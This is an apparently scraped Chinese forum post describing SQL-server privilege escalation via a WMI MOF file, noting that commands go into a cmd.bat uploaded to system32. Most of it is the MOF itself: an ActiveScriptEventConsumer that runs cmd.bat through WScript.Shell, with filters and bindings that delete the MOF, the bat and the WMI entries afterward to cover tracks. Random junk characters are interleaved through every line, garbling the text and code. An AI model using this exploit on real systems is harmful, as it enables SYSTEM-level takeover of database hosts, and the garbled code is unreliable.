这个sql提权MOF需要运行 system下的文件,不能定义路径。
/ r3 A0 u: ?* L! m+ c0 U1 c1 ^需要将要运行的命令写入到bat上传到system32目录,然后执行。
) b. ^7 W8 S* S5 a$ M# R: j9 l8 L( V
这个sql提权MOF需要运行 system下的文件,不能定义路径。5 r9 s; Z4 b, @7 B' V- g1 O
需要将要运行的命令写入到bat上传到system32目录,然后执行。
. |5 H6 ]) F1 X5 B8 G1 _ ]( `/ v# ~4 }9 w" \% Y
#pragma% E# m3 \9 g t7 C& X/ y
namespace("\\\\.\\root\\cimv2")
, O- g! y! i4 ]# n2 f; S class( Z; P, o9 a! M% B$ N
MyClass547
5 \0 N- K: s2 I# s# M. U4 j, B { [key]# f9 [$ E/ [' ]- I2 B
string
2 [9 ~! X4 R- `0 z; t0 } Name;1 Q0 t" x1 {) |# h7 K O: \1 \
};) E! O2 ?9 d% a7 `- Q3 x
class, {# I! M, L, B0 F. ]0 A
ActiveScriptEventConsumer4 j4 N3 h# g5 ?/ b
: __EventConsumer { [key]5 L$ C! T! r3 |( \1 P% `9 K
string
N5 q, m5 U& ?# v7 j6 s- C Name; [not_null]
8 m& s- p" a! K3 G* Z string0 A, U, v k- h2 X
ScriptingEngine; string
5 `$ E7 I0 w4 R4 V' n/ D' N9 N2 q ScriptFileName; [template]
0 c2 B7 C. m7 {8 F; H string
0 X, Y: m$ t+ z8 G! I ScriptText; uint32 KillTimeout;& x6 P* u' l% D$ q3 o; ?( d
}; instance of __Win32Provider as $P {; u) R) Y+ S' s& Q- v* ]
Name
; Q6 h! w- {* T' M- r! D$ @2 { =2 y$ V' _* E* u
"ActiveScriptEventConsumer"; CLSID =
0 w1 \4 K7 Z# V; W "{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";5 X9 p! d: J( D8 V+ M
PerUserInitialization& e n6 J' H4 A# o$ k: c
= TRUE;$ q; Y, U& T: I" b( w# I- G1 J
}; instance of __EventConsumerProviderRegistration { Provider
& ?, Q; a4 I, V, w( S = $P; ConsumerClassNames5 T1 l! S7 @8 d( q( N
=' d' R. b; g" o: T7 z0 e& Z& e$ y
{"ActiveScriptEventConsumer"};. U7 N* p! ]+ D1 @$ a
};: ~+ N9 C0 }; q, P
Instance of ActiveScriptEventConsumer" t }% {; I1 K7 }
as $cons { Name2 D- w- S+ ] w
=$ E0 n1 z" j" j# m: f% ?6 B! ~
"ASEC"; ScriptingEngine
5 |; x7 b1 D3 Z+ K; E& o6 L* D =- [( l& N' e* Q, J: j" J
"JScript"; ScriptText
; r C- ]* i5 P1 D$ {& { =2 C8 d* d1 e0 y! O
"\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};"; };
2 b0 W, m# d% O- T" d Instance of ActiveScriptEventConsumer2 q& w5 }6 F: R- c0 M9 Y
as $cons2 { Name
! ]' o, K8 Q+ k1 d( @ =7 d9 m- f$ ]. e3 k- r
"qndASEC"; ScriptingEngine: W9 A1 e& k: Y- P8 |7 L2 _
=
. I" ]% Q2 h. G H9 A% T% g* P "JScript"; ScriptText, A& U1 @' S) ]8 Q& z
=
2 A7 Q0 n5 K6 j8 P1 N- C "\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";
, V) a8 Q, a$ ` }; instance of __EventFilter as $Filt { Name/ y& K0 h g# n" q2 d) B7 ~
=" L: ~2 [$ g7 O7 o" M# S! K2 T
"instfilt"; Query0 h) @4 d) i4 P, y: E2 c- q
=1 `9 Q2 U+ \9 r/ V) R
"SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\""; QueryLanguage
& R7 A* I& R8 d" M9 {& G =
' u; q; m, B% Y8 E7 g8 o* k "WQL"; }; instance of __EventFilter as $Filt2 { Name# Q+ `5 I1 C: M" ? A8 a& q, N
= q& I0 ?* |: S1 r2 c3 D4 g
"qndfilt"; Query
7 ^$ y& @4 i) b7 O6 k) Y =
- m) y% p; ?# Y- P1 n7 ]' Q9 F "SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\""; QueryLanguage) E- Q# ? G& m6 V8 M
=. Z0 u: y! n9 W- a
"WQL"; }; instance of __FilterToConsumerBinding as $bind { Consumer) Q7 A6 z3 I% T J( c: b6 @
= $cons; Filter7 s+ H, Z0 }- S6 B6 O
= $Filt;
' O+ M* x8 y. J; @: L% { }; instance of __FilterToConsumerBinding as $bind2 { Consumer
+ E# U- S! S7 Z- b ^) ^. K$ l% r = $cons2; Filter) R* A" D0 ^) j" P
= $Filt2;5 Y4 I6 |) q* z. L+ Q
}; instance of MyClass5473 Q! G7 \8 x# j( O; V
as $MyClass { Name: C# m: N# X ^# w
=; `& |, R7 S0 p+ D
"ClassConsumer";
; ~8 g& a- X6 w K* s- x }; |